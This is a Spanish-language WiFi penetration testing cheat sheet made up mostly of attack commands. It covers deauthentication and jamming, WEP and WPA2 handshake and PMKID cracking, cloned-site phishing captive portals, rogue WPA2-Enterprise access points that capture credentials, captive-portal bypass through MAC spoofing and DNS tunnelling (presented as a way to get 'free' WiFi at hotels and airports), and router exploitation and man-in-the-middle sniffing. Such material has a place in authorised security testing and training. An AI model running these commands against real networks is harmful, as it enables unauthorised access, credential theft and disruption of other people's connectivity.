Guía de Pruebas de Penetración WiFi

Índice

1. Comandos básicos

2. Redes abiertas

   2.1. Portales cautivos

   2.2. Ataque Man in the Middle

3. Descifrado WEP

   3.1. Sin clientes

4. Descifrado WPA2-PSK

   4.1. Descifrando el handshake de 4 vías

   4.2. Ataque PMKID

   4.3. Ataque sin AP

5. WPA2-Enterprise

   5.1. Puntos de Acceso Falsos

   5.2. Fuerza bruta

   5.3. Métodos EAP soportados

6. Otros ataques

   6.1. Ataque Krack y Ataque Frag

   6.2. OSINT

   6.3. Bloqueo WiFi

   6.4. Otros frameworks

7. Post-explotación

   7.1. Atacando el router

   7.2. Tipos de escáneres

   7.3. Spoofing

1. Comandos básicos

Establecer variable de entorno

VARIABLE=value

Verificar modo de interfaz

iwconfig $IFACE

Verificar estado de la interfaz

ifconfig $IFACE

Establecer modo monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Listar redes

1. Establecer modo monitor

2. Ejecutar Airodump-ng-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Desautenticación

1. Solo un cliente

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Un Punto de Acceso (= todos los clientes en el AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obtener SSID oculto con clientes

1. Listar redes

Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.

2. Desautenticar

En otra terminal, desautentica un cliente o todos ellos. Cuando Airodump-ng capture un handshake de esta red, el nombre o ESSID aparecerá en la primera terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obtener SSID oculto sin clientes

1. Listar redes

Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.

2.a. Ejecutar un ataque de diccionario

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. O ejecutar un ataque de fuerza bruta

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Para el conjunto de caracteres es posible usar l (letras minúsculas), u (letras mayúsculas), n (números), c (minúsculas+mayúsculas), m (minúsculas+mayúsculas+números) o a (todos los imprimibles).

2. Redes abiertas

2.1. Portales cautivos

2.1.1. Portales cautivos falsos

1. Clona un sitio web usando HTTrack

2. Instala Wifiphiser. Añade el resultado de HTTrack en una nueva carpeta en wifiphisher/data/phishing-pages/new_page/html y un archivo de configuración en wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompila el proyecto usando python setup.py install o el binario en bin.

4. Este comando funciona correctamente en la última versión de Kali después de instalar hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: Suplantación de MAC

El primer método para evitar un portal cautivo es cambiar tu dirección MAC a la de un usuario ya autenticado.

1. Escanea la red y obtén la lista de direcciones IP y MAC. Puedes usar:

• nmap

• Un script personalizado como este (Bash) o este (Python)

2. Cambia tus direcciones IP y MAC. Puedes usar:

• macchanger

• Un script personalizado como este(Bash)

También puedes usar scripts para automatizar el proceso como:

• Poliva script

• Hackcaptiveportals

2.1.3. Bypass 2: Túneles DNS

Un segundo método es crear un túnel DNS. Para ello, es necesario tener un servidor DNS propio accesible. Puedes usar este método para evitar el portal cautivo y obtener WiFi "gratis" en hoteles, aeropuertos...

1. Verifica que los nombres de dominio se resuelven:

nslookup example.com

2. Crea 2 registros DNS (en Digital ocean, Afraid.org...):

• Un "registro A": dns.$DOMAIN apuntando a $SERVER_IP (Ejemplo: dns.domain.com 139.59.172.117)

• Un "registro NS": hack.$DOMAIN apuntando a dns.$DOMAIN (Ejemplo: hack.domain.com dns.domain.com)

3. Ejecución en el servidor

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Verifica si funciona correctamente aquí

5. Ejecución en el cliente

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Crear el túnel

ssh -D 8080 [email protected]

2.2. Ataque Man in the Middle

Una vez que estás en la red, puedes probar si es vulnerable a ataques Man in the Middle.

1. Ataque de ARP Spoofing usando Ettercap

2. Sniffe el tráfico usando Wireshark o TCPdump

3. Analiza el tráfico usando PCredz (Linux) o Network Miner (Windows)

3. Descifrado WEP

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Acelera la captura de IV usando Fake authentication + Arp Request Replay Attack + Desautenticar usuario. Detén Airodump en ~100.000 IVs diferentes

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Descifra la contraseña usando Aircrack-ng

aircrack-ng $PCAP_FILE

4. Descifrado WPA2-PSK

4.1. Descifrando el handshake de 4 vías

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Desautentica un usuario. Detén la captura de airodump cuando veas un mensaje 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Opción 1: Descifrar el handshake usando Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Puedes obtener wordlists desde aquí.

4. Opción 2: Descifrar el handshake usando Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Ataque PMKID

Puedes usar este script o seguir estos pasos:

1. Instala Hcxdumptool y Hcxtool (puedes usar este script).

2. Detén Network Manager

airmon-ng check kill

3a. Si quieres atacar una dirección MAC específica

• Crea un archivo de texto ($FILTER_FILE) y añade la dirección MAC sin ":". Puedes usar sed y redirigir la salida a un archivo:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capturar PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Crear $HASH_FILE

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

La estructura de cada línea es: PMKID * ROUTER MAC * STATION * ESSID (verifica en: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Descifrarlo usando Hashcat (opción 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

4.3. Ataque sin AP

Si tienes acceso a un dispositivo cliente con la conexión WiFi encendida pero no hay una red alrededor, aún puedes atacar esa red si el dispositivo cliente se ha conectado previamente a ella.

Para ello, debes crear un Punto de Acceso Falso usando hostpad con un archivo de configuración como este, con cualquier contraseña pero el mismo nombre de red. Crea la red falsa, el dispositivo cliente intentará conectarse y obtendrás el handshake de 4 vías como en la sección 4.1 de esta guía.

5. WPA2-Enterprise

5.1 Puntos de Acceso Falsos

Descarga de máquinas virtuales

Instalación local

En caso de que no quieras usar la máquina virtual, puedes instalar todo usando:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd y Freeradius-wpe

Inicia el Punto de Acceso usando:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Cuando un cliente se conecte, lee los logs con:

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Fuerza bruta

• Airhammer

5.3 Métodos EAP soportados

Encontrar métodos EAP soportados

• EAP_buster

6. Otros ataques

6.1. Ataque Krack y Ataque Frag

Estos son dos ataques avanzados descubiertos por el gran Mathy Vanhoef:

• Krack Attack Scripts - Explicado en este sitio web

• Frag Attack Scripts - Explicado en este sitio web

6.2. OSINT

• Wigle

6.3. Bloqueo WiFi

• Wifijammer - Este programa puede enviar paquetes de desautenticación tanto a APs como a clientes.

Un ejemplo para desautenticar todos los dispositivos excepto un Punto de Acceso Falso:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Otros frameworks

Linux:

• Sniffair
• Wifi Pumpkin - Framework para ataque de Punto de Acceso WiFi Rogue
• Eaphammer - Framework para Puntos de Acceso Falsos
• WEF - Framework para diferentes tipos de ataques para WPA/WPA2 y WEP, descifrado automatizado de hashes y más

Windows:

• Acrylic - Útil para la fase de reconocimiento
• Ekahau - Útil para planificación Wi-Fi
• Vistumbler - Útil para wardriving

7. Post-explotación

Una vez que estás conectado a la red

7.1. Atacando el router

• Routersploit - Framework de explotación para dispositivos empotrados - Prueba "use scanners/autopwn"

7.2. Tipos de escáneres

• Nmap/Zenmap - Escáner de seguridad, escáner de puertos y herramienta de exploración de redes

• Masscan - La versión más rápida de nmap (puede romper cosas, así que ten cuidado)

• Netdiscover - Sniffing ARP. Muy útil si las redes están muy segmentadas

7.3. Spoofing

• Ettercap - Verifica si puedes hacer un ataque MitM y snifear todo el tráfico de la red